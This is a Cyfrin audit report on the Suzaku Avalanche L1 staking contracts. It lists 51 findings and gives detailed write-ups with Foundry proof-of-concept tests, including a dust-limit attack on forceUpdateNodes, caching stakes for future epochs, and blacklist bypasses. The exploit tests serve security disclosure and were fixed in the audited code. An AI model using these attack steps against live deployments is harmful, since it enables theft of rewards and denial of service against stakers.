SUZAKU Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

0kage

Farouk

ChainDefenders (@1337web3 & @PeterSRWeb3)

July 7, 2025

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

Suzaku is a comprehensive staking infrastructure that enables permissionless validator management and delegation for Avalanche L1 networks. The protocol implements a multi-asset class staking system where operators can run validators backed by delegated stake from multiple vault types, with automated rewards distribution based on validator uptime and performance.

The key contracts that were part of the current audit are:

Core Infrastructure

- `AvalancheL1Middleware` - Central coordinator managing operators, validators, and stake accounting across asset classes
- `VaultTokenized` - ERC-4626 compliant vault for tokenized staking with delegation capabilities
- `L1RestakeDelegator` - Manages delegation of vault assets to L1 validators with configurable limits

Governance & Management

- `L1Registry` - Registry of valid L1 networks and their middleware configurations
- `OperatorRegistry` - Registration system for validator operators
- `VaultFactory` & `DelegatorFactory` - Deployment and lifecycle management of vaults and delegators

Rewards

- `Rewards` - Distributes staking rewards to operators, delegators, and protocol participants
- `UptimeTracker` - Monitors validator performance and calculates uptime-based reward eligibility

The key stakeholders in the current system include:

- `Operators`: Run Avalanche L1 validators, manage node infrastructure, and receive operational fees
- `Delegators/Stakers`: Deposit assets into vaults to earn staking rewards without running validators

- `Vault Curators`: Vault owners who configure delegation strategies and receive curator fees
- `Protocol Owner`: Governance entity receiving protocol fees and managing system parameters
- `L1 Networks`: Avalanche L1 blockchains that require validator sets for consensus

Additionally, all validator lifecycle events must be acknowledged by Avalanche network P-Chain through Warp messages.

5 Audit Scope

Suzaku is a comprehensive staking and delegation system for Avalanche L1 validators, featuring multi-asset class support, validator management, rewards distribution, and slashing capabilities. Following files were part of the scope for the current audit.

- src/contracts/common/Entity.sol
- src/contracts/common/MigratableEntityProxy.sol
- src/contracts/common/StaticDelegateCallable.sol
- src/contracts/delegator/BaseDelegator.sol
- src/contracts/delegator/L1RestakeDelegator.sol
- src/contracts/libraries/Checkpoints.sol
- src/contracts/libraries/ERC4626Math.sol
- src/contracts/middleware/libraries/MapWithTimeData.sol
- src/contracts/middleware/libraries/StakeConversion.sol
- src/contracts/middleware/AssetClassRegistry.sol
- src/contracts/middleware/AvalancheL1Middleware.sol
- src/contracts/middleware/MiddlewareVaultManager.sol
- src/contracts/rewards/Rewards.sol
- src/contracts/rewards/UptimeTracker.sol
- src/contracts/service/OperatorL1OptInService.sol
- src/contracts/service/OperatorVaultOptInService.sol
- src/contracts/vault/VaultTokenized.sol
- src/contracts/DelegatorFactory.sol
- src/contracts/L1Registry.sol
- src/contracts/OperatorRegistry.sol
- src/contracts/SlasherFactory.sol
- src/contracts/VaultFactory.sol

6 Executive Summary

Over the course of 15 days, the Cyfrin team conducted an audit on the SUZAKU smart contracts provided by SUZAKU. In this period, a total of 51 issues were found.

The Suzaku protocol is an Avalanche L1 middleware system that enables restaking functionality across multiple asset classes. The protocol manages operator registration, vault management, stake accounting, and reward distribution for Avalanche L1 validators. Key components include the AvalancheL1Middleware contract for stake management, a sophisticated rewards distribution system, and a BalancerValidatorManager for managing validator weights across multiple security modules.

The protocol supports primary and secondary asset classes, allowing operators to stake various tokens through tokenized vaults, and includes mechanisms for uptime tracking, slashing, and automated rebalancing when stake requirements change.

Audit discovered 2 critical risk issues, the first allowed attackers to manipulate cached stake for future epochs via `calcAndCacheStakes` and second allowed attackers manipulate stake rebalancing by executing a dust limit attack via `forceUpdateNodes`. Additionally, the audit discovered several high risk issues related to stake management, reward distribution and access control. **All major issues reported during the audit were successfully mitigated.**

While the protocol includes a comprehensive test suite, our analysis revealed that mock contract setups are overly simplistic and do not adequately reflect real-world contract interactions and edge cases. This has resulted in certain vulnerabilities remaining hidden despite extensive testing. The mocked components often bypass the complex state interactions and validation logic present in the actual implementation, leading to false confidence in system security. It is recommended that the protocol implement more realistic mock contracts that mirror production complexity.

The complexity of the rewards system, stake management, and multi-asset class interactions creates a potentially large attack surface. Due to the audit being time-boxed and the discovery of significant number of high risk issues, it is statistically likely that additional hidden vulnerabilities remain in the codebase. Considering this, we recommended that the code base go through another round of rigorous audit with a fresh set of auditors before mainnet deployment.

Summary

Project Name	SUZAKU
Repository	suzaku-core
Commit	9ce66f5eb093...
Audit Timeline	May 20th - Jun 9th
Methods	Manual Review, Stateful Fuzzing

Issues Found

Critical Risk	2
High Risk	10
Medium Risk	19
Low Risk	13
Informational	1
Gas Optimizations	6
Total Issues	51

Summary of Findings

[C-1] Dust limit attack on `forceUpdateNodes` allows DoS of rebalancing and potential vault insolvency	Resolved
[C-2] Future epoch cache manipulation via `calcAndCacheStakes` allows reward manipulation	Resolved
[H-1] Blacklisted implementation versions are accessible through migrations	Resolved
[H-2] In `DelegatorFactory` new entity can be created for a blacklisted implementation	Resolved
[H-3] Incorrect summation of curator shares in `claimUndistributedRewards` leads to deficit in claimed undistributed rewards	Resolved
[H-4] Incorrect reward claim logic causes loss of access to intermediate epoch rewards	Resolved
[H-5] Timestamp boundary condition causes reward dilution for active operators	Resolved
[H-6] Immediate stake cache updates enable reward distribution without P-Chain confirmation	Resolved
[H-7] Vault rewards incorrectly scaled by cross-asset-class operator totals instead of asset class specific shares causing rewards leakage	Resolved
[H-8] Not all reward token rewards are claimable	Resolved
[H-9] Division by zero in rewards distribution can cause permanent lock of epoch rewards	Resolved
[H-10] Inaccurate uptime distribution in `UptimeTracker::computeValidatorUptime` leads to reward discrepancies	Acknowledged
[M-01] Vault initialization allows deposit whitelist with no management capability	Resolved
[M-02] Vault initialization allows zero deposit limit with no ability to modify causing denial of service	Resolved
[M-03] Potential underflow in slashing logic	Resolved
[M-04] Wrong value is returned in `upperLookupRecentCheckpoint`	Resolved
[M-05] Inconsistent stake calculation due to mutable `vaultManager` reference in `AvalancheL1Middleware`	Resolved
[M-06] Premature zeroing of epoch rewards in `claimUndistributedRewards` can block legitimate claims	Resolved
[M-07] Unclaimable rewards for removed vaults in `Rewards::claimRewards`	Resolved
[M-08] Insufficient validation in `AvalancheL1Middleware::removeOperator` can create permanent validator lockup	Resolved
[M-09] Historical reward loss due to `NodeId` reuse in `AvalancheL1Middleware`	Resolved
[M-10] Incorrect inclusion of removed nodes in `_requireMinSecondaryAssetClasses` during `forceUpdateNodes`	Resolved
[M-11] Rewards system DOS due to unchecked asset class share and fee allocations	Resolved
[M-12] Operators can lose their reward share	Resolved

[M-13] Curators will lose reward for an epoch if they lose ownership of vault after epoch but before distribution	Acknowledged
[M-14] Inaccurate stake calculation due to decimal mismatch across multitoken asset classes	Resolved
[M-15] Accumulative reward setting to prevent overwrite and support incremental updates	Resolved
[M-16] Rewards distribution DoS due to uncached secondary asset classes	Resolved
[M-17] Uptime loss due to integer division in `UptimeTracker::computeValidatorUptime` can make validator lose entire rewards for an epoch	Resolved
[M-18] Operator can over allocate the same stake to unlimited nodes within one epoch causing weight inflation and reward theft	Resolved
[M-19] DoS on stake accounting functions by bloating `operatorNodesArray` with irremovable nodes	Resolved
[L-01] Missing zero-address validation for burner address during initialization can break slashing	Resolved
[L-02] `BaseDelegator` is not using upgradeable version of `ERC165`	Acknowledged
[L-03] Vault limit cannot be modified if vault Is already enabled	Resolved
[L-04] Incorrect vault status determination in `MiddlewareVaultManager`	Resolved
[L-05] Missing validation for zero `epochDuration` in AvalancheL1Middleware can break epoch based accounting	Acknowledged
[L-06] Insufficient update window validation can cause denial of service in `forceUpdateNodes`	Resolved
[L-07] Disabled operators can register new validator nodes	Resolved
[L-08] Hardcoded gas limit for hook in `onSlash` may cause reverts	Acknowledged
[L-09] `NodeId` truncation can potentially cause validator registration denial of service	Acknowledged
[L-10] Unbounded weight scale factor causes precision loss in stake conversion, potentially leading to loss of operator funds	Resolved
[L-11] `remainingBalanceOwner` should be set by the protocol owner	Acknowledged
[L-12] `forceUpdateNodes` potentially enables mass validator removal when new asset classes are added	Acknowledged
[L-13] Overpayment vulnerability in `registerL1`	Resolved
[I-1] Wrong revert reason In `onSlash` functionality	Resolved
[G-1] Gas optimization for `getVaults` function	Resolved
[G-2] Unnecessary `onlyRegisteredOperatorNode` on `completeStakeUpdate` function	Resolved
[G-3] Optimisation of elapsed epoch calculation	Resolved
[G-4] Use unchecked block for increment operations in `distributeRewards`	Resolved
[G-5] Optimize `_getStakerVaults` to Avoid Redundant External Calls to `activeBalanceOfAt`	Resolved

[G-6] Redundant overflow checks in safe arithmetic operations	Resolved

7 Findings

7.1 Critical Risk

7.1.1 Dust limit attack on `forceUpdateNodes` allows DoS of rebalancing and potential vault insolvency

Description: An attacker can exploit the `forceUpdateNodes()` function with minimal `limitStake` values to force all validator nodes into a pending update state. By exploiting precision loss in stake-to-weight conversion, an attacker can call `forceUpdateNodes` with a minimal limitStake (e.g., 1 wei), which sets the rebalancing flag without actually reducing any stake, effectively blocking legitimate rebalancing for the entire epoch.

Consider following scenario:

- Large vault undelegation requests reducing vault active state -> this creates excess stake that needs to be rebalanced
- Attacker calls `forceUpdateNodes(operator, dustAmount)` with `dustAmount` (1 wei)
- Minimal stake (1 wei) is "removed" from all available nodes
- Due to WEIGHT_SCALE_FACTOR precision, the actual weight sent to P-Chain doesn't change, but P-Chain still processes the update. Effectively, we are processing a non-update.
- The node is marked as `nodePendingUpdate[validationID] = true`
- All subsequent legitimate rebalancing attempts in the same epoch revert

`forceUpdateNodes()` is callable by anyone during the final window of each epoch and `limitStake` has no minimum bound check.

Impact:

- Operators with excess stake can exploit this to retain more stake than entitled
- Attackers can systematically prevent rebalancing for any operator in every epoch
- Blocked rebalancing means operator nodes retain stake that should be liquid in vaults. If multiple large withdrawals occur, we could end up in a protocol insolvency state when `vault liquid assets < pending withdrawal requests`

Proof of Concept: Copy the test in `AvalancheMiddlewarTest.t.sol`

```
    function test_DustLimitStakeCausesFakeRebalancing() public {
        address attacker = makeAddr("attacker");
        address delegatedStaker = makeAddr("delegatedStaker");

         uint48 epoch0 = _calcAndWarpOneEpoch();

        // Step 1. First, give Alice a large allocation and create nodes
        uint256 initialDeposit = 1000 ether;
        (uint256 depositAmount, uint256 initialShares) = _deposit(delegatedStaker, initialDeposit);
        console2.log("Initial deposit:", depositAmount);
        console2.log("Initial shares:", initialShares);

         // Set large L1 limit and give Alice all the shares initially
        _setL1Limit(bob, validatorManagerAddress, assetClassId, depositAmount, delegator);
        _setOperatorL1Shares(bob, validatorManagerAddress, assetClassId, alice, initialShares,
        ↪  delegator);

        // Step 2. Create nodes that will use this stake
        // move to next epoch
        uint48 epoch1 = _calcAndWarpOneEpoch();
        (bytes32[] memory nodeIds, bytes32[] memory validationIDs,) =
            _createAndConfirmNodes(alice, 2, 0, true);

        uint48 epoch2 = _calcAndWarpOneEpoch();
```

```
// Verify nodes have the stake
uint256 totalNodeStake = 0;
for (uint i = 0; i < validationIDs.length; i++) {
    uint256 nodeStake = middleware.getNodeStake(epoch2, validationIDs[i]);
    totalNodeStake += nodeStake;
    console2.log("Node", i, "stake:", nodeStake);
}
console2.log("Total stake in nodes:", totalNodeStake);

uint256 operatorTotalStake = middleware.getOperatorStake(alice, epoch2, assetClassId);
uint256 operatorUsedStake = middleware.getOperatorUsedStakeCached(alice);
console2.log("Operator total stake (from delegation):", operatorTotalStake);
console2.log("Operator used stake (in nodes):", operatorUsedStake);

// Step 3. Delegated staker withdraws, reducing Alice's available stake
console2.log("\n--- Delegated staker withdrawing 60% ---");
uint256 withdrawAmount = (initialDeposit * 60) / 100; // 600 ether

vm.startPrank(delegatedStaker);
(uint256 burnedShares, uint256 withdrawalShares) = vault.withdraw(delegatedStaker,
↪  withdrawAmount);
vm.stopPrank();

console2.log("Withdrawn amount:", withdrawAmount);
console2.log("Burned shares:", burnedShares);
console2.log("Remaining shares for Alice:", initialShares - burnedShares);

 // Step 4. Reduce Alice's operator shares to reflect the withdrawal
uint256 newOperatorShares = initialShares - burnedShares;
_setOperatorL1Shares(bob, validatorManagerAddress, assetClassId, alice, newOperatorShares,
↪  delegator);


console2.log("Updated Alice's operator shares to:", newOperatorShares);

// Step 5. Move to next epoch - this creates the imbalance
uint48 epoch3  = _calcAndWarpOneEpoch();

uint256 newOperatorTotalStake = middleware.getOperatorStake(alice, epoch3, assetClassId);
uint256 currentUsedStake = middleware.getOperatorUsedStakeCached(alice);

console2.log("\n--- After withdrawal (imbalance created) ---");
console2.log("Alice's new total stake (reduced):", newOperatorTotalStake);
console2.log("Alice's used stake (still in nodes):", currentUsedStake);

// Step 6. Attacker prevents legitimate rebalancing
console2.log("\n--- ATTACKER PREVENTS REBALANCING ---");

// Move to final window where forceUpdateNodes can be called
_warpToLastHourOfCurrentEpoch();

// Attacker front-runs with dust limitStake attack
console2.log("Attacker executing dust forceUpdateNodes...");
vm.prank(attacker);
middleware.forceUpdateNodes(alice, 1); // 1 wei - minimal removal

// Check if any meaningful stake was actually removed
uint256 stakeAfterDustAttack = middleware.getOperatorUsedStakeCached(alice);
console2.log("Used stake after dust attack:", stakeAfterDustAttack);

uint256 actualRemoved = currentUsedStake > stakeAfterDustAttack ?
```

```
            currentUsedStake - stakeAfterDustAttack : 0;
        console2.log("Stake actually removed by dust attack:", actualRemoved);

        // The key issue: minimal stake removed, but still excess remains
        uint256 remainingExcess = stakeAfterDustAttack > newOperatorTotalStake ?
            stakeAfterDustAttack - newOperatorTotalStake : 0;
        console2.log("REMAINING EXCESS after dust attack:", remainingExcess);

        // 7. Try legitimate rebalancing - should be blocked
        console2.log("\n--- Attempting legitimate rebalancing ---");
        vm.expectRevert(); // Should revert with AvalancheL1Middleware__AlreadyRebalanced
        middleware.forceUpdateNodes(alice, 0); // Proper rebalancing with no limit
        console2.log(" Legitimate rebalancing blocked by AlreadyRebalanced");
    }
```

Recommended Mitigation:

- Consider preventing updates when the resulting P-Chain weight would be identical
- Consider setting a minimum on `limitStake` so that all left over stake is absorbed by the remaining active nodes. For eg.

```
Leftover stake to remove: 100 ETH
Active nodes that can be reduced: 10 nodes
Minimum required limitStake: 100 ETH ÷ 10 nodes = 10 ETH per node
```

Any value less than this minimum would mean that operators can retain more stake than they should.

Suzaku: Fixed in commit ee2bdd5.

Cyfrin: Verified.

7.1.2 Future epoch cache manipulation via `calcAndCacheStakes` allows reward manipulation

Description: The `AvalancheL1Middleware::calcAndCacheStakes` function lacks epoch validation, allowing attackers to cache stake values for future epochs. This enables permanent manipulation of reward calculations by locking in current stake values that may become stale by the time those epochs arrive.

The `calcAndCacheStakes` function does not validate that the provided epoch is not in the future:

```
function calcAndCacheStakes(uint48 epoch, uint96 assetClassId) public returns (uint256 totalStake) {
    uint48 epochStartTs = getEpochStartTs(epoch); // No validation of epoch timing
    // ... rest of function caches values for any epoch, including future ones
}
```

Once`totalStakeCached` flag is set, any subsequent call to `getOperatorStake` for that epoch and asset class will return the incorrect `operatorStakeCache` value, as shown below:

```
function getOperatorStake(
    address operator,
    uint48 epoch,
    uint96 assetClassId
) public view returns (uint256 stake) {
    if (totalStakeCached[epoch][assetClassId]) {
        uint256 cachedStake = operatorStakeCache[epoch][assetClassId][operator];
        return cachedStake;
    }
    ...
}
```

When called with a future epoch, the function queries current stake values using checkpoint systems (upperLookupRecent) which return the latest available values for future timestamps

Impact: There are multiple issues with this, two major ones being:

- Attackers can inflate their reward shares by locking in high stake values before their actual stakes decrease. All subsequent deposits/withdrawals will not impact the cached stake once it gets updated for a given epoch.
- `forceUpdateNodes` mechanism can be compromised. Critical node rebalancing operations can be incorrectly skipped, leaving the system in an inconsistent state

Proof of Concept: Add the following test and run it:

```
function test_operatorStakeOfTwoEpochsShouldBeEqual() public {
      uint256 operatorStake = middleware.getOperatorStake(alice, 1, assetClassId);
      console2.log("Operator stake (epoch", 1, "):", operatorStake);

      middleware.calcAndCacheStakes(5, assetClassId);
      uint256 newStake = middleware.getOperatorStake(alice, 2, assetClassId);
      console2.log("New epoch operator stake:", newStake);
      assertGe(newStake, operatorStake);

      uint256 depositAmount = 100_000_000_000_000_000_000;

      collateral.transfer(staker, depositAmount);

      vm.startPrank(staker);
      collateral.approve(address(vault), depositAmount);
      vault.deposit(staker, depositAmount);
      vm.stopPrank();

      vm.warp((5) * middleware.EPOCH_DURATION());

      middleware.calcAndCacheStakes(5, assetClassId);

      assertEq(
          middleware.getOperatorStake(alice, 4, assetClassId), middleware.getOperatorStake(alice, 5,
          ↪  assetClassId)
      );
  }
```

Recommended Mitigation: Consider adding epoch validation to prevent future epoch caching:

```
function calcAndCacheStakes(uint48 epoch, uint96 assetClassId) public returns (uint256 totalStake) {
    uint48 currentEpoch = getCurrentEpoch();
    require(epoch <= currentEpoch, "Cannot cache future epochs"); //@audit added

    uint48 epochStartTs = getEpochStartTs(epoch);
    // ... rest of function unchanged
}
```

Suzaku: Fixed in commit 32b1a6c.

Cyfrin: Verified.

7.2 High Risk

7.2.1 Blacklisted implementation versions are accessible through migrations

Description: The `VaultFactory` contract implements a blacklisting mechanism to prevent the use of vulnerable or deprecated contract versions. However, the blacklisting check is only applied when creating new vaults through the create function, but is entirely absent from the migrate function.

This allows vault owners to bypass the blacklist restriction by migrating their existing vaults to versions that have been explicitly blacklisted, potentially due to security vulnerabilities or other critical issues.

Consider following scenario:

- A vault is created with version 1
- Version 2 is blacklisted in the factory
- Despite being blacklisted, the vault can successfully migrate to version 2
- The migrated vault fully inherits the functionality of the blacklisted implementation

The intended security barrier provided by blacklisting can be completely bypassed, opening potential attack vectors even after vulnerabilities have been identified.

Impact: If an implementation is blacklisted due to a security vulnerability, vault owners can still expose themselves to those vulnerabilities by migrating to the blacklisted version.

Proof of Concept: Note: For running this test, we created a `MockVaultTokenizedV3.sol` with a `_migrate` function with lesser constraints (as shown below)

```
// MockTokenizedVaultV3.sol
function _migrate(uint64 oldVersion, uint64 newVersion, bytes calldata data) internal virtual
↪  onlyInitializing {
      // if (newVersion - oldVersion > 1) {
      //    revert();
      // }
      uint256 b_ = abi.decode(data, (uint256));
      b = b_;
  }
```

```
  function testBlacklistDoesNotBlockMigration() public {
      // First, create a vault with version 1
      vault1 = vaultFactory.create(
          1, // version
          alice,
          abi.encode(
              IVaultTokenized.InitParams({
                  collateral: address(collateral),
                  burner: address(0xdEaD),
                  epochDuration: 7 days,
                  depositWhitelist: false,
                  isDepositLimit: false,
                  depositLimit: 0,
                  defaultAdminRoleHolder: alice,
                  depositWhitelistSetRoleHolder: alice,
                  depositorWhitelistRoleHolder: alice,
                  isDepositLimitSetRoleHolder: alice,
                  depositLimitSetRoleHolder: alice,
                  name: "Test",
                  symbol: "TEST"
              })
          ),
          address(delegatorFactory),
          address(slasherFactory)
```

```
        );

        // Verify initial version
        assertEq(IVaultTokenized(vault1).version(), 1);

        // Blacklist version 2
        vaultFactory.blacklist(2);

        // Despite version 2 being blacklisted, we can still migrate to it!
        vm.prank(alice);
        // This should revert if blacklist was properly enforced, but it won't
        vaultFactory.migrate(vault1, 2, abi.encode(20));

        // Verify the vault is now at version 2, despite it being blacklisted
        assertEq(IVaultTokenized(vault1).version(), 2);

        // set the value of b inside MockVaultTokenizedV3 as 20
        assertEq(
            MockVaultTokenizedV3(vault1).version2State(),
            20);
    }
```

Recommended Mitigation: Consider adding a blacklist check to the migrate function to ensure consistency with the `create` function.

```
function migrate(address entity_, uint64 newVersion, bytes calldata data) external checkEntity(entity_)
↪  {
    if (msg.sender != Ownable(entity_).owner()) {
        revert MigratableFactory__NotOwner();
    }

    if (newVersion <= IVaultTokenized(entity_).version()) {
        revert MigratableFactory__OldVersion();
    }

++    // Add this missing check
++    if (blacklisted[newVersion]) {
++       revert MigratableFactory__VersionBlacklisted();
++    }

    IMigratableEntityProxy(entity_).upgradeToAndCall(
        implementation(newVersion),
        abi.encodeCall(IVaultTokenized.migrate, (newVersion, data))
    );

    emit Migrate(entity_, newVersion);
}
```

Suzaku: Fixed in d3f98b8.

Cyfrin: Verified.

7.2.2 In `DelegatorFactory` new entity can be created for a blacklisted implementation

Description: The current implementation of `DelegatorFactory::create` fails to verify whether the specified implementation type has been explicitly blacklisted. This creates a security and consistency risk where blacklisted contract types can still be deployed, potentially bypassing governance or security restrictions.

Impact: The lack of a blacklist check in the create function allows the creation of contracts based on implementation types that may have been deemed unsafe, deprecated, or otherwise restricted.

Proof of Concept: Create a new test class `DelegatorFactoryTest.t.sol`:

```
// SPDX-License-Identifier: MIT
// SPDX-FileCopyrightText: Copyright 2024 ADDPHO

pragma solidity 0.8.25;

import {Test, console2} from "forge-std/Test.sol";
import {DelegatorFactory} from "../src/contracts/DelegatorFactory.sol";
import {IDelegatorFactory} from "../src/interfaces/IDelegatorFactory.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {IEntity} from "../../src/interfaces/common/IEntity.sol";
import {ERC165} from "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";

contract DelegatorFactoryTest is Test {
    address owner;
    address operator1;
    address operator2;

    DelegatorFactory factory;
    MockEntity mockImpl;

    function setUp() public {
        owner = address(this);
        operator1 = makeAddr("operator1");
        operator2 = makeAddr("operator2");

        factory = new DelegatorFactory(owner);

        // Deploy a mock implementation that conforms to IEntity
        mockImpl = new MockEntity(address(factory), 0);

        // Whitelist the implementation
        factory.whitelist(address(mockImpl));
    }

    function testCreateBeforeBlacklist() public {
        bytes memory initData = abi.encode("test");

        address created = factory.create(0, initData);

        assertTrue(factory.isEntity(created), "Entity should be created and registered");
    }

    function testCreateFailsAfterBlacklist() public {
        bytes memory initData = abi.encode("test");

        factory.blacklist(0);

        factory.create(0, initData); //@note no revert although blacklisted
    }
}

contract MockEntity is IEntity, ERC165 {
    address public immutable FACTORY;
    uint64 public immutable TYPE;

    string public data;

    constructor(address factory_, uint64 type_) {
        FACTORY = factory_;
```

```
        TYPE = type_;
    }

    function initialize(
        bytes calldata initData
    ) external {
        data = abi.decode(initData, (string));
    }

    function supportsInterface(
        bytes4 interfaceId
    ) public view virtual override(ERC165, IERC165) returns (bool) {
        return interfaceId == type(IEntity).interfaceId || super.supportsInterface(interfaceId);
    }
}
```

Recommended Mitigation: Consider adding the following check to the `DelagatorFactory::create`

```
function create(uint64 type_, bytes calldata data) external returns (address entity_) {
++    if (blacklisted[type_]) {
++       revert DelagatorFactory__TypeBlacklisted();
++    }
        entity_ = implementation(type_).cloneDeterministic(keccak256(abi.encode(totalEntities(), type_,
        ↪  data)));

        _addDelegatorEntity(entity_);

        IEntity(entity_).initialize(data);
    }
```

Suzaku: Fixed in commit 292d5b7.

Cyfrin: Verified.

7.2.3 Incorrect summation of curator shares in `claimUndistributedRewards` leads to deficit in claimed undistributed rewards

Description: The `claimUndistributedRewards` function is designed to allow a `REWARDS_DISTRIBUTOR_ROLE` to collect any rewards for a specific `epoch` that were not claimed by stakers, operators, or curators. To do this, it calculates `totalDistributedShares`, representing the sum of all share percentages (in basis points) allocated to various participants.

```
// Calculate total distributed shares for the epoch
uint256 totalDistributedShares = 0;

// Sum operator shares
address[] memory operators = l1Middleware.getAllOperators();
for (uint256 i = 0; i < operators.length; i++) {
    totalDistributedShares += operatorShares[epoch][operators[i]];
}

// Sum vault shares
address[] memory vaults = middlewareVaultManager.getVaults(epoch);
for (uint256 i = 0; i < vaults.length; i++) {
    totalDistributedShares += vaultShares[epoch][vaults[i]];
}

// Sum curator shares
for (uint256 i = 0; i < vaults.length; i++) {
    address curator = VaultTokenized(vaults[i]).owner();
```

```
    totalDistributedShares += curatorShares[epoch][curator];
}
```

The code iterates through all `vaults` active in the epoch. For each `vault`, it retrieves the `curator` (owner) and adds `curatorShares[epoch][curator]` to `totalDistributedShares`. However, the `curatorShares[epoch][curator]` mapping already stores the *total accumulated share* for that specific `curator` for that `epoch`, aggregated from all vaults they own and all operators those vaults delegated to.

```
// First pass: calculate raw shares and total
for (uint256 i = 0; i < vaults.length; i++) {
    address vault = vaults[i];
    uint96 vaultAssetClass = middlewareVaultManager.getVaultAssetClass(vault);

    uint256 vaultStake = BaseDelegator(IVaultTokenized(vault).delegator()).stakeAt(
        l1Middleware.L1_VALIDATOR_MANAGER(), vaultAssetClass, operator, epochTs, new bytes(0)
    );

    if (vaultStake > 0) {
        uint256 operatorActiveStake =
            l1Middleware.getOperatorUsedStakeCachedPerEpoch(epoch, operator, vaultAssetClass);

        uint256 vaultShare = Math.mulDiv(vaultStake, BASIS_POINTS_DENOMINATOR, operatorActiveStake);
        vaultShare =
            Math.mulDiv(vaultShare, rewardsSharePerAssetClass[vaultAssetClass],
            ↪  BASIS_POINTS_DENOMINATOR);
        vaultShare = Math.mulDiv(vaultShare, operatorShare, BASIS_POINTS_DENOMINATOR);

        uint256 operatorTotalStake = l1Middleware.getOperatorStake(operator, epoch, vaultAssetClass);

        if (operatorTotalStake > 0) {
            uint256 operatorStakeRatio =
                Math.mulDiv(operatorActiveStake, BASIS_POINTS_DENOMINATOR, operatorTotalStake);
            vaultShare = Math.mulDiv(vaultShare, operatorStakeRatio, BASIS_POINTS_DENOMINATOR);
        }

        // Calculate curator share
        uint256 curatorShare = Math.mulDiv(vaultShare, curatorFee, BASIS_POINTS_DENOMINATOR);
        curatorShares[epoch][VaultTokenized(vault).owner()] += curatorShare;

        // Store vault share after removing curator share
        vaultShares[epoch][vault] += vaultShare - curatorShare;
    }
}
```

If a single curator owns multiple vaults that were active in the epoch, their *total* share (from `curatorShares[epoch][curator]`) is added to `totalDistributedShares` multiple times—once for each vault they own. This artificially inflates the `totalDistributedShares` value.

Impact: The inflated `totalDistributedShares` leads to an underestimation of the actual `undistributedRewards`. The formula `undistributedRewards = totalRewardsForEpoch - Math.mulDiv(totalRewardsForEpoch, totalDistributedShares, BASIS_POINTS_DENOMINATOR)` will yield a smaller amount than what is truly undistributed.

Consequently:

1. The `REWARDS_DISTRIBUTOR_ROLE` will claim a smaller amount of undistributed tokens than they are entitled to.
2. The difference between the actual undistributed amount and the incorrectly calculated (smaller) amount will remain locked in the contract (unless it's upgraded) .

Proof of Concept:

```
//
// PoC - Incorrect Sum-of-Shares
// Shows that the sum of operator + vault + curator shares can exceed 10 000 bp
// (100 %), proving that `claimUndistributedRewards` will mis-count.
//
import {AvalancheL1MiddlewareTest} from "./AvalancheL1MiddlewareTest.t.sol";

import {Rewards}           from "src/contracts/rewards/Rewards.sol";
import {MockUptimeTracker} from "../mocks/MockUptimeTracker.sol";
import {ERC20Mock}         from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";

import {VaultTokenized}    from "src/contracts/vault/VaultTokenized.sol";

import {console2}          from "forge-std/console2.sol";
import {stdError}          from "forge-std/Test.sol";

contract PoCIncorrectSumOfShares is AvalancheL1MiddlewareTest {
    //  helpers & globals
    MockUptimeTracker internal uptimeTracker;
    Rewards           internal rewards;
    ERC20Mock         internal rewardsToken;

    address internal REWARDS_MANAGER_ROLE     = makeAddr("REWARDS_MANAGER_ROLE");
    address internal REWARDS_DISTRIBUTOR_ROLE = makeAddr("REWARDS_DISTRIBUTOR_ROLE");

    uint96 secondaryAssetClassId = 2;          // activate a 2nd asset-class (40 % of rewards)

    // -----------------------------------------------------------------------
    //                       MAIN TEST ROUTINE
    // -----------------------------------------------------------------------
    function test_PoCIncorrectSumOfShares() public {
        _setupRewardsAndSecondaryAssetClass();          // 1. deploy + fund rewards

        address[] memory operators = middleware.getAllOperators();

        // 2. Alice creates *two* nodes (same stake reused) --------------------
        console2.log("Creating nodes for Alice");
        _createAndConfirmNodes(alice, 2, 100_000_000_001_000, true);

        // 3. Charlie is honest - single big node ------------------------------
        console2.log("Creating node for Charlie");
        _createAndConfirmNodes(charlie, 1, 150_000_000_000_000, true);

        // 4. Roll over so stakes are cached at epoch T ------------------------
        uint48 epoch = _calcAndWarpOneEpoch();
        console2.log("Moved to one epoch ");

        // Cache total stakes for primary & secondary classes
        middleware.calcAndCacheStakes(epoch, assetClassId);
        middleware.calcAndCacheStakes(epoch, secondaryAssetClassId);

        // 5. Give everyone perfect uptime so shares are fully counted --------
        for (uint i = 0; i < operators.length; i++) {
            uptimeTracker.setOperatorUptimePerEpoch(epoch,   operators[i], 4 hours);
            uptimeTracker.setOperatorUptimePerEpoch(epoch+1, operators[i], 4 hours);
        }

        // 6. Warp forward 3 epochs (rewards are distributable @ T-2) ---------
        _calcAndWarpOneEpoch(3);
        console2.log("Warped forward for rewards distribution");
```

```
        // 7. Distribute rewards ------------------------------------------
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewards.distributeRewards(epoch, uint48(operators.length));
        console2.log("Rewards distributed");

        // 8. Sum all shares and show bug (>10 000 bp) ----------------------
        uint256 totalShares = 0;

        // operator shares
        for (uint i = 0; i < operators.length; i++) {
            uint256 s = rewards.operatorShares(epoch, operators[i]);
            totalShares += s;
        }
        // vault shares
        address[] memory vaults = vaultManager.getVaults(epoch);
        for (uint i = 0; i < vaults.length; i++) {
            uint256 s = rewards.vaultShares(epoch, vaults[i]);
            totalShares += s;
        }
        // curator shares (may be double-counted!)
        for (uint i = 0; i < vaults.length; i++) {
            address curator = VaultTokenized(vaults[i]).owner();
            uint256 s = rewards.curatorShares(epoch, curator);
            totalShares += s;
        }
        console2.log("Total shares is greater than 10000 bp");

        assertGt(totalShares, 10_000);
    }

    // -------------------------------------------------------------------
    //                      SET-UP HELPER
    // -------------------------------------------------------------------
